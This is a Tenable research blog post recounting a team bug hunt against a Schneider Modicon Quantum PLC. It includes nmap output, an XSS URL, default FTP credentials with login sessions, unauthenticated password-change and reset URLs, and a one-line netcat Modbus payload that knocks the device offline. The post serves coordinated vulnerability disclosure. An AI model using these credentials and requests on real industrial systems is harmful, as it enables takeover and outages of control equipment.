PLC Bug Hunt

Jacob Baines
Tenable TechBlog
Published in
9 min readNov 27, 2018

A Team Building Activity

One of the neat things about being a bug hunter at Tenable is we have access to devices we might otherwise not get access to. For example, Tenable’s SCADA team has built up an impressive array of PLCs in their SCADA lab. When Zero Day Research asked the SCADA team if we could borrow one of their PLCs for a bug hunting contest, they were more than happy to share.

Generally speaking, the Zero Day team doesn’t do internal bug hunting competitions. I don’t think it’s conducive to good research. But we’re a new team and we’re geographically spread out, so we figured it would be a fun team building activity. We were allocated a small prize and a long weekend (Friday, Saturday, and Sunday) to find bugs. Whoever finds the most bugs wins. Not a perfect format but good enough for laughs.

From the SCADA team’s inventory we selected a Schneider Modicon Quantum PLC with a 140 NOC 77101 Ethernet Module.

The Modicon Quantum is no stranger to security researchers. The Quantum has seen multiple ICS-CERT advisories and Metasploit modules that date back to 2012:

Notably, ICSA-18–086–01 reflects a number of vulnerabilities found by Positive Technologies earlier this year that Schneider Electric opted not to patch despite the Modicon Quantum not reaching end of commercialization until December 2018 and end of support in December 2026.

The lack of patches is troubling in general, but combined with ambiguous vulnerability descriptions it becomes difficult for researchers to determine if they’re finding new vulnerabilities or old ones. As such, the vulnerabilities I’m about to discuss may or may not be duplicates of previously found but unpatched and inadequately described CVEs.

Day One of the Bug Hunt

A lot of time is wasted on day one. Getting VMs configured. Ensuring everyone has access to the SCADA lab. Getting caught up in actual work. But eventually we’re able to come together as a team and begin. Due to some misguided camaraderie (this is a contest) basic attack surface information is shared amongst the team.

tenable@dev:~$ nmap -A -p 1-65535 192.168.248.30

Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-23 19:04 EDT
Nmap scan report for 192.168.248.30
Host is up (0.00038s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vxTarget ftpd (VxWorks 6.4)
80/tcp open http Schneider-WEB 2.2.2
|_http-server-header: Schneider-WEB/V2.2.2
| http-title: Site doesn't have a title (text/html).
|_Requested resource was http://192.168.248.30/index.htm
502/tcp open mbap?
44818/tcp open EtherNet-IP-2
| enip-info:
| Vendor: Schneider Automation Inc. (243)
| Product Name: 140 NOC 771 01
| Serial Number: 0x041605ab
| Device Type: Communications Adapter (12)
| Product Code: 1026
| Revision: 1.7
|_ Device IP: 192.168.248.30
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port502-TCP:V=7.60%I=7%D=8/23%Time=5B7F3EDA%P=x86_64-pc-linux-gnu%r(LDA
SF:PSearchReq,9,"0\x84\0\0\0\x03\x02\x81\x03");
Service Info: OS: VxWorks; CPE: cpe:/o:windriver:vxworks:6.4

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 488.69 seconds
tenable@dev~$ sudo nmap -sU -A 192.168.248.30

Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-24 13:12 EDT
Nmap scan report for 192.168.248.30
Host is up (0.00044s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
161/udp open snmp SNMPv1 server (public)
| snmp-interfaces:
| Port 1
| MAC address: 00:00:54:16:05:ac (Schneider Electric)
| Type: ethernetCsmacd Speed: 100 Mbps
| Traffic stats: 23.52 Mb sent, 30.40 Mb received
| Internal Interface
| IP address: 192.168.248.30 Netmask: 255.255.255.0
| MAC address: 00:00:54:16:05:ab (Schneider Electric)
| Type: ethernetCsmacd Speed: 100 Mbps
|_ Traffic stats: 6.19 Mb sent, 29.03 Mb received
| snmp-netstat:
| TCP 0.0.0.0:21 0.0.0.0:0
| TCP 0.0.0.0:80 0.0.0.0:0
| TCP 0.0.0.0:502 0.0.0.0:0
| TCP 127.0.0.1:502 127.0.0.1:1119
| TCP 127.0.0.1:1119 127.0.0.1:502
| TCP 192.168.248.30:21 192.168.248.13:34890
| TCP 192.168.248.30:80 192.168.248.13:52638
| TCP 192.168.248.30:80 192.168.248.13:52640
| TCP 192.168.248.30:80 192.168.248.13:52642
| TCP 192.168.248.30:80 192.168.248.13:52644
| TCP 192.168.248.30:80 192.168.248.13:52646
| TCP 192.168.248.30:80 192.168.248.13:52652
| TCP 192.168.248.30:80 192.168.248.13:52654
| TCP 192.168.248.30:80 192.168.248.13:52656
| TCP 192.168.248.30:80 192.168.248.13:52660
| TCP 192.168.248.30:80 192.168.248.13:52664
| TCP 192.168.248.30:80 192.168.248.14:33048
| TCP 192.168.248.30:80 192.168.248.14:33050
| TCP 192.168.248.30:80 192.168.248.14:33052
| TCP 192.168.248.30:80 192.168.248.14:33054
| TCP 192.168.248.30:80 192.168.248.14:33056
| TCP 192.168.248.30:80 192.168.248.14:33058
| TCP 192.168.248.30:80 192.168.248.14:33068
| TCP 192.168.248.30:80 192.168.248.14:33070
| TCP 192.168.248.30:80 192.168.248.14:33072
| TCP 192.168.248.30:80 192.168.248.14:44472
| TCP 192.168.248.30:80 192.168.248.14:44474
| TCP 192.168.248.30:80 192.168.248.14:44476
| TCP 192.168.248.30:80 192.168.248.14:44478
| TCP 192.168.248.30:80 192.168.248.19:54982
| TCP 192.168.248.30:80 192.168.248.19:55040
| TCP 192.168.248.30:80 192.168.248.25:36578
| TCP 192.168.248.30:80 192.168.248.25:36584
| TCP 192.168.248.30:80 192.168.248.25:36586
| TCP 192.168.248.30:80 192.168.248.25:36588
| TCP 192.168.248.30:80 192.168.248.25:36590
| TCP 192.168.248.30:44818 0.0.0.0:0
| UDP 0.0.0.0:67 *:*
| UDP 0.0.0.0:68 *:*
| UDP 0.0.0.0:69 *:*
| UDP 0.0.0.0:161 *:*
| UDP 0.0.0.0:2222 *:*
|_ UDP 0.0.0.0:44818 *:*
| snmp-sysdescr: Schneider Electric Quantum 140 NOC77101 Ethernet Communication Module
|_ System uptime: 1d22h38m50.10s (16793010 timeticks)
1043/udp open tcpwrapped
2222/udp open|filtered msantipiracy
MAC Address: 00:00:54:16:05:AB (Schneider Electric)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
Service Info: Host: 140 NOC77101

TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms 192.168.248.30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 254.32 seconds

Also, the team quickly determined that the device’s web interface relied heavily on client side JAR files.

function writeApplet() 
{
document.writeln('<APPLET CODEBASE="../../classes" ARCHIVE="webdiag.jar, XMLParser.jar,SAComm.jar" CODE="com.schneiderautomation.webdiag.ProcessorLoadApplet.class" WIDTH="100%" HEIGHT="500">');
document.writeln(buildParamTag('Language', getLanguage()));
document.writeln('</APPLET>');
}

Finally, the team grabbed the latest firmware for the 140 NOC 771 01.

With the high-level attack surface enumerated the team raced off to find bugs. They quickly started rolling in.

Bug 1: Unauthenticated Reflected XSS

Almost immediately, a team member came across an unauthenticated reflected cross-site scripting vector. The URL takes this form:

http://192.168.248.30/goform/formTest?name=<script>alert()</script>

Bug 2: Java Default FTP Credentials

It also took very little time to find default credentials in the client JAR files. Oddly, the same credentials appear over and over again. Below is a screenshot from com.schneiderautomation.ms.TextFiles.java but the credentials can also be found in com.schneiderautomation.misc.GlobalConfig.java and com.transparentfactory.rde.sacomm.Rde.javaas well.

Bug 3: More Default FTP Credentials

The team also found that the credentials fdrusers:sresurdf are valid FTP credentials. We actually found this one in old documentation.

tenable@dev:~$ ftp 192.168.248.30
Connected to 192.168.248.30.
220 vxTarget FTP server (VxWorks 6.4) ready.
Name (192.168.248.30:tenable): fdrusers
331 Password required for fdrusers.
Password:
230 User fdrusers logged in.
Remote system type is VxWorks:.
ftp> pwd
257 "/RAM0" is current directory.
ftp>

Bug 4: Still More Default FTP Accounts and Hash Collisions

Back in 2010, H.D. Moore published details on a weak password hashing algorithm in VxWorks. Of course, that algorithm is still being used in our target device. We were able to use hash collisions on two other built-in FTP accounts: fwupgrade:FaAmU5p2F~ and loki:ZfTljublsx.

tenable@dev:~$ ftp 192.168.248.30
Connected to 192.168.248.30.
220 vxTarget FTP server (VxWorks 6.4) ready.
Name (192.168.248.30:tenable): loki
331 Password required for loki.
Password:
230 User loki logged in.
Remote system type is VxWorks:.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for 'file list'.
FLASH0
RAM0
RAM1
226 Transfer complete.
ftp> pwd
257 "/" is current directory.
ftp>

Bug 5: Password Change Vulnerable to CSRF

The web interface, excluding the Java portion, is pretty simple and doesn’t have too much functionality. Part of the functionality it does have though, is changing the “admin” user’s password. The team quickly focused there.

First, a team member found that neither an anti-forgery token nor the old password is required when resetting the administrator’s password. A logged in administrator can be tricked into changing their password by clicking on the following link:

http://192.168.248.30/secure/embedded/builtin?Language=English&user=admin&passwd=evilpass&cnfpasswd=evilpass&subhttppwd=Save+User

Bug 6: Unauthenticated HTTP Password Change

Next, the team found that an unauthenticated remote attacker can use the following URL to change the administrator’s password:

http://192.168.248.30/unsecure/embedded/builtin?Language=English&user=admin&passwd=evilpass&cnfpasswd=evilpass&subhttppwd=Save+User

The only difference between the authenticated URL and unauthenticated URL is that one uses the “secure” path and the other uses the “unsecure” path. Seriously.

Bug 7: Unauthenticated HTTP Password Reset to Default

Finally, the a team member found that an unauthenticated remote attacker can delete the userlist_encrypt.dat file by visiting the following URL:

http://192.168.248.30/unsecure/embedded/builtin?submit=Delete%20Password

This will revert the HTTP interface back to the default administrator credentials of “USER:USER”.

Bug 8: HTTP Denial of Service

A little bit deeper into the system than the other vulnerabilities, a team member found an unauthenticated remote attacker can trigger a denial of service by sending an HTTP request to the web server without the \r\n\r\n terminators. This occurs due to a NULL pointer dereference after the server fails to find the \n character in the next header field. You can see below that r3 is 0 when \n is not found.

But r3 later gets dereferenced even when it is NULL.

Conclusion of Day One

That concluded day one. All sorts of low hanging fruit had been found. The team broke for the day and prepared to explore additional interfaces on day two.

Day Two of the Bug Hunt

As previously mentioned, day two of the bug hunt was on a Saturday. No one was required to participate but most everyone appeared to have plans to spend at least part of their weekend poking at the device. One team member started especially early on day two and it would have dire consequences for the competition.

Bug 9: Unauthenticated Disabling of the Ethernet Module

One thing I haven’t mentioned about the web interface is that the JAR files can generate a good amount of Modbus traffic to port 502 on the device.

In order to quickly find more bugs, our early-rising team member decided they’d throw together a fuzzer that reads in a PCAP with Modbus traffic, grabs all the requests, flips some bits, and sends the fuzzed request to the server.

This code looks exactly like what you’d expect from early Saturday morning

A hacked up program was quickly thrown together and was set running against port 502. As luck would have it, success was almost immediate! The Modbus server went down! This can be reproduced with the following request:

echo -ne "\x0\xa8\x0\x0\x0\x5\x0\x5a\x0\x7\x0" | nc 192.168.238.30 502

This is a single request with a Modbus function code of 90 which is associated with Schneider’s Unity Pro programming software. Code 90 is not defined in the protocol’s specification but is considered “reserved.”

Conclusion of the Bug Hunt

However, it wasn’t just the Modbus server that the fuzzer brought down.

The SNMP interface was also down.

And the HTTP server too.

And the device no longer replied to pings.

Did I mention that the bug hunt contestants are all hundreds of miles away from the SCADA lab? And it was Saturday?

Yup, bug hunt over.

Disclosure

All of these vulnerabilities have gone through Tenable’s coordinated disclosure process. You can find Tenable’s research advisory here along with a disclosure timeline and a link to Schneider Electric’s security bulletin. Finally, you can find a more customer-oriented write up on Tenable’s blog.

--

--